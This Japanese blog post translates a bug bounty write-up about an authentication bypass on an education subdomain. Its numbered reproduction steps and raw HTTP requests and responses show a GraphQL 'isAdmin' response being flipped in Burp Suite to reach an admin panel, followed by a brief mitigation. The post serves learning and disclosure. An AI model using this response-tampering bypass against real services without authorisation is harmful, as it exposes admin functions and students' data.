Shikata Ga Nai

Private? There is no such things.

Another Admin panelを訳してみた

Hello there, ('ω')ノ

 

別の管理パネルを。

 

脆弱性:

 HTTP 応答操作

 認証バイパス

 

記事:

 https://infosecwriteups.com/another-admin-panel-e0489dc76678

 

今回は、target.com を取り上げて。

target.com のサブドメインを。つずつテストしていたところ。

このサブドメイン education.target.com にたどり着き。

これは、学生がログインして講義を見ることができるある種の教育ページで。

 

攻撃:

通常のユーザとしてログインすると、ログイン機能と学生教育ページが。

利用できるページが表示され。

Burp Suiteを開き、ページを更新して、サーバに対して行われた要求を確認して。

その後、なんらかの理由で api のエンドポイントに対して。

graphql リクエストが行われていることがわかり。

 

リクエスト:

POST /api/graphql HTTP/1.1
Host: education.target.com
User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/91.0
Accept: */*
Cookie: a0:state=YOUR Cookie

{"operationName":"isAdmin","variables":{},"query":"query isAdmin {\n isAdmin\n}\n"}

 

応答:

HTTP/1.1 200 OK
Server: nginx/1.19.1
Date: Sat, 04 Sep 2021 04:47:05 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 27
Connection: close
access-control-allow-origin: *
access-control-allow-credentials: true
etag: W/"1b-fPOq3WJkZQ0rkaalpPwLwZziKSQ"
Vary: Accept-Encoding
Strict-Transport-Security: max-age=15724800; includeSubDomains

{"data":{"isAdmin":false}} ← ここをisAdmin":trueに変更

 

すると、管理パネルにアクセスでき。

そこに講義を追加し、すべての学生のリストを表示できて。


再現手順:

1.この URL に移動して。

2.資格情報でログインして。

3.その後、ページを更新し、Burp Suiteでリクエストをキャプチャして。

 このリクエストが表示されるまですべてのリクエストを転送して。

 

POST /api/graphql HTTP/1.1
Host: education.target.com
User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/91.0
Accept: */*
Cookie: a0:state=YOUR Cookie
{"operationName":"isAdmin","variables":{},"query":"query isAdmin {\n isAdmin\n}\n"}

4.その要求を右クリック⇨Do Intercept⇨この要求への応答を。

 

5.その後、Burp Suite に次の応答が表示され。

 

HTTP/1.1 200 OK
Server: nginx/1.19.1
Date: Sat, 04 Sep 2021 04:47:05 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 27
Connection: close
access-control-allow-origin: *
access-control-allow-credentials: true
etag: W/"1b-fPOq3WJkZQ0rkaalpPwLwZziKSQ"
Vary: Accept-Encoding
Strict-Transport-Security: max-age=15724800; includeSubDomains

{"data":{"isAdmin":false}}

 

6.「isAdmin: false」を「isAdmin: true」に変更し、そのリクエストを送信して。

 

7.ブラウザに戻る ホームページに管理パネルが表示され。

 

主な脆弱性は、graphql にあり。

Graphql 実装の設定ミスが原因で、攻撃者は管理パネルにアクセスできて。


緩和策:

ログインページ、特にgraphqlページのすべてのリクエストを常に確認して。

 

Best regards, (^^ゞ